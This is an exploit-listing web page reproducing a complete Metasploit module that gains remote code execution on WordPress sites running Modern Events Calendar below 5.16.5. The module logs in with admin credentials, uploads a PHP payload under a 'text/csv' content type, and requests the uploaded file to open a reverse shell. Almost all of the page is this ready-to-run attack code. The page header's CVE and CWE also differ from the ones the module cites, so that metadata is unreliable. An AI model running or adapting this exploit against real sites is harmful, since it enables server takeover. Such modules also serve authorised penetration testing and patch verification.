Advertisement






WordPress Modern Events Calendar Remote Code Execution

CVE Category Price Severity
CVE-2020-12800 CWE-94 $15,000 Critical
Author Risk Exploitation Type Date
Larry W. Cashdollar High Remote 2021-07-27
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 0.02415 0.59598

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070157

Below is a copy:

WordPress Modern Events Calendar Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress Plugin Modern Events Calendar - Authenticated Remote Code Execution',
        'Description' => %q{
          This module allows an attacker with a privileged Wordpress account to launch a reverse shell
          due to an arbitrary file upload vulnerability in Wordpress plugin Modern Events Calendar < 5.16.5.
          This is due to an incorrect check of the uploaded file extension.
          Indeed, by using `text/csv` content-type in a request, it is possible to upload a .php payload as is is not forbidden by the plugin.
          Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/<random_payload_name>.php`
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Nguyen Van Khanh', # Original PoC and discovery
            'Ron Jost', # Exploit-db
            'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
          ],
        'References' =>
          [
            ['EDB', '50115'],
            ['CVE', '2021-24145'],
            ['CWE', '434']
          ],
        'Platform' => [ 'php' ],
        'Arch' => ARCH_PHP,
        'Targets' =>
        [
          [ 'Wordpress Modern Events Calendar < 5.16.5', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2021-01-29',
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
            'Reliability' => [ REPEATABLE_SESSION ]
          }
      )
    )

    register_options [
      OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
      OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
      OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])
    ]
  end

  def check
    unless wordpress_and_online?
      return CheckCode::Safe('Server not online or not detected as Wordpress')
    end

    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    if cookie
      check_plugin_version_from_readme('modern-events-calendar-lite', '5.16.5')
    else
      CheckCode::Detected('The admin credentials given are wrong !')
    end
  end

  def exploit
    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::NoAccess, 'Authentication failed') unless cookie
    payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.php"

    post_data = Rex::MIME::Message.new
    post_data.add_part(payload.encoded, 'text/csv', nil, "form-data; name='feed'; filename='#{payload_name}'")
    post_data.add_part('import-start-bookings', nil, nil, "form-data; name='mec-ix-action'")

    print_status("Uploading file \'#{payload_name}\' containing the payload...")

    r = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),
      'headers' => {
        'Origin' => full_uri('')
      },
      'vars_get' => {
        'page' => 'MEC-ix',
        'tab' => 'MEC-import'
      },
      'cookie' => cookie,
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    )

    fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 200
    register_file_for_cleanup(payload_name)

    print_status('Triggering the payload ...')
    send_request_cgi(
      'method' => 'GET',
      'headers' => {
        'Origin' => full_uri('')
      },
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/#{payload_name}")
    )
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum